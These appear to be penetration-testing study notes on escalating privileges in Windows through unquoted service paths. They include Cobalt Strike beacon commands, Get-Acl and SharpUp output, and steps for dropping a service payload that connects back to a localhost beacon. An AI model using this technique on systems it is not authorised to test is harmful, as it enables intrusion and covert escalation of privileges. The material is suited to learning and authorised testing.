Unquoted service path may be exploited to privesc combined with weak file permissions in the parent directories.

When a service is unquoted, Windows splits the path up by space and checks for valid executables from left to right: C:\Program.exe C:\Program Files\Vulnerable.exe C:\Program Files\Vulnerable Services\Service.exe

If the permissions to any of the parent directories can be written to, we can drop a executable there to escalate privilege. We can use Get-Acl to check the permissions on a directory:

beacon> powershell Get-Acl -Path "C:\Program Files\Vulnerable Services" | fl
 
Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files\Vulnerable Services
Owner  : BUILTIN\Administrators
Group  : DEV\Domain Users
Access : BUILTIN\Users Allow  CreateFiles, Synchronize
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT SERVICE\TrustedInstaller Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  268435456
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Administrators Allow  268435456
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
         BUILTIN\Users Allow  -1610612736
         CREATOR OWNER Allow  268435456
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  -1610612736
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  -1610612736
Audit  :
Sddl   : O:BAG:DUD:AI(A;;0x100002;;;BU)(A;ID;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;CII
         OID;GA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;I
         D;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;ID;0x1200a9;;;BU)(A;OICIIOID;GXGR;;;BU)(A;OICIIOID;GA;;;CO)(A;ID;0x1200a9;;;A
         C)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIIOID;GXGR;;;S-1-15-2-2)

Enumeration

This can be discovered with SharpUp in Cobalt Strike:

beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit UnquotedServicePath
 
=== SharpUp: Running Privilege Escalation Checks ===
 
=== Services with Unquoted Paths ===
    Service 'VulnService1' (StartMode: Automatic) has executable 'C:\Program Files\Vulnerable Services\Service 1.exe', but 'C:\Program Files\Vulnerable Services\Service' is modifable.

An alternative is winPEAS.

Exploitation

For Cobalt Strike, we need to generate a service executable payload for a listener. These payloads will contain svc in the filename. It is recommended to create a TCP peer-to-peer beacon bound to localhost only for privilege escalation. Upload the file using the beacon upload command and place it appropriately. When the exploit is successful, the service will be START_PENDING, and will turn to STOPPED when checked with sc query ServiceName (by design for stealth). In order to finalize the beacon creation, we must connect to the listener on an existing beacon with connect localhost [tcp beacon port].

Note that regular users cannot start or stop services, so you would have to rely on reboots.

To restore the service, delete the beacon payload and restart the service.